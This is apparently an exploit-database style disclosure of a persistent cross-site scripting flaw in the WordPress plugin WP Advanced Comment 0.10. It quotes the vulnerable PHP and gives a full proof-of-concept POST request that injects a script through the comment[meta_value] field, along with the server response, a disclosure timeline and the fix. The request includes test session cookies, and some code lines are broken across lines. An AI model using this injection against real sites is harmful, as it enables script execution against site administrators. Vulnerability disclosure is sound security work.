## 1. Introduction

```
# Exploit Title: WordPress WP Advanced Comment 0.10 Persistent XSS
# Date: Mar.09.2016
# Exploit Author: Mohammad Khaleghi
# Contact: https://twitter.com/_blackmatrix
# Vendor: Ravi Shakya
# Tested On: Apache2.2 / PHP5 / Kali 64 / WordPress 4.4.1
# Category: Webapps
# Software Link: https://wordpress.org/support/plugin/wp-advance-comment
```

## 2. Description

WP Advanced Comment 0.10 plugin does not have XSS protection, which means that an attacker can change the POST request , value of " name="comment[meta_value]" " parameter , it's not escaped . XSS is visible for admin

File : wp-content\plugins\wp-advance-comment\shortcodes\comment-form.php

```
<!-- Show Comments -->

<?php
if( $option[$id]['other']['comment_position'] == 1 ){

  echo $this->show_like_dislike_button( $value['comment_ID'] ,
  $option[$id]['other'] , 'top' );

  echo '<p>'.$value['comment_content'].'</p>';

  echo $this->show_like_dislike_button( $value['comment_ID'] ,
  $option[$id]['other'] , 'bottom' );

}?>
<!-- Get the comment
meta --> <?php
$data = get_option( 'wpad_comment_form' );

if( !empty( $data[$id] ) ): ?>
  <div
    class="wpad_comment_meta">
    <ul>
      <?php
      foreach( $data[$id] as $key => $value1 ){
        $show_admin = isset($value1['show_admin']) ?
        $value1['show_admin'] : 0; $privelage = $this-
        >check_administrator( $show_admin );

        if( !empty( $value1['meta_key'] ) && is_numeric( $key ) &&
$value1['meta_key'] != 'user_name' && $value1


['meta_key'] != 'user_email' && $value1['custom_field'] != 'user_image'
&& $value1['meta_key'] != 'wpad_comment' &&


$privelage == true ){


        $meta_key =
        $value1['meta_key'];
        $label =
        $value1['label'];


        $meta_value = get_comment_meta( $value['comment_ID'] ,
        $meta_key , true ); if( !empty( $meta_value ) ){
          if( $value1['custom_field'] == 'radio' ){
            $radio_value = $this->get_corresponding_metakey( $value1 ,
            $meta_value , 'radio' ); $this-
            >display_comment_metas_frontend( $label , $radio_value );
          } elseif( $value1['custom_field'] == 'checkbox' ){
     $check_value = $this->get_corresponding_metakey( $value1 , $meta_value ,
                                                                   'checkbox'
);
            $this->display_comment_metas_frontend( $label ,
          $check_value ); } else {
            $this->display_comment_metas_frontend( $label , $meta_value );
          }


        }
      }
     }
   ?>
   </ul
   >
  </div>
  <?ph
p
endif;
?>

<!-- Show Comments -->
```

## 3. Proof of Concept

Request :

```
Host=127.0.0.1:8080
User-Agent=Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101
Firefox/31.0 Iceweasel/31.8.0
Accept=*/*
X-Requested-With=XMLHttpRequest
Referer=http://127.0.0.1:8080/wordpress/2016/02/02/hello-world/
Content-Length=1399
Content-Type=multipart/form-data;
boundary=---------------------------23741051518289624461916684164


Cookie=wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=bourne
%7C1455436892%7CVRgNbhd39pxXUlNXcCTkDnTbZTCudBIJlfSocx8yFWh
%7C5a52d446b3c1782856a5021a38e5b1431297eca6fa81946694ebfdf305
994a84; wordpress_72672e10a1f0c9288ac55a4f4fc9805d=bourne
%7C1455962074%7C0QblET9IPqz4apEnQsVq0WOUr7oY1EU25wIcKVKF4sY
%7Cfeedc6beb6fc4d7fc7719fd1e45666b270f598a8294df146742750fd43
2ca5b3;
wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=bourne
%7C1455436892%7CVRgNbhd39pxXUlNXcCTkDnTbZTCudBIJlfSocx8yFWh
%7C80f4e9b382b8b316ba8967a1651ea91cecc45300c13c754f528a17ade8
475032; wp-settings-time-1=1454782581; wp-settings-time-
2=1454752438;
wordpress_logged_in_72672e10a1f0c9288ac55a4f4fc9805d=bourne
%7C1455962074%7C0QblET9IPqz4apEnQsVq0WOUr7oY1EU25wIcKVKF4sY
%7C8ff14befe34a2a5f1c4c6d93123e6afce4af2c43272a0351f2ce9b1499
1c180f; wordpress_test_cookie=WP+Cookie+check

Connection=keep-alive
Pragma=no-cache
Cache-Control=no-cache

POSTDATA =-----------------------------23741051518289624461916684164

Content-Disposition: form-data; name="action"

wpad_save_comment
-----------------------------
23741051518289624461916684164 Content-
Disposition: form-data; name="post_id"
```

```
1
-----------------------------
23741051518289624461916684164 Content-
Disposition: form-data; name="form_id"


417
-----------------------------
23741051518289624461916684164 Content-
Disposition: form-data;
name="email_me_on_approve"


undefined
-----------------------------
23741051518289624461916684164 Content-
Disposition: form-data;
name="user_name[meta_value]"


bourne
-----------------------------
23741051518289624461916684164 Content-
Disposition: form-data;
name="user_name[meta_key]"


user_name
-----------------------------
23741051518289624461916684164 Content-
Disposition: form-data;
name="user_email[meta_value]"


jason_bourne110@yahoo.com
-----------------------------
23741051518289624461916684164 Content-
Disposition: form-data;
name="user_email[meta_key]"


user_email
-----------------------------
23741051518289624461916684164 Content-
Disposition: form-data;
name="comment[meta_value]"


Hack <script>alert("Hacked")</script>


-----------------------------
23741051518289624461916684164 Content-
Disposition: form-data;
name="comment[meta_key]"


comment
-----------------------------
23741051518289624461916684164--
```

Response

```
Status=OK - 200
Date=Sat, 06 Feb 2016 18:18:43 GMT
Server=Apache X-Frame-
Options=SAMEORIGIN, SAMEORIGIN X-
Powered-By=PHP/5.5.29 X-Robots-
Tag=noindex x-content-type-
options=nosniff Expires=Wed, 11
Jan 1984 05:00:00 GMT

Cache-Control=no-cache, must-
revalidate, max-age=0 Pragma=no-cache
Content-Length=7 Keep-
Alive=timeout=5, max=100
Connection=Keep-Alive
Content-Type=text/html;
charset=UTF-8
```

## 4. Report Timeline

09-03-2016 : Discovered
09-03-2016 : Vendor notified
09-03-2016 : Vendor Responded
09-03-2016 : Vendor fixed the problem

## 5. Solution

Update to version 0.11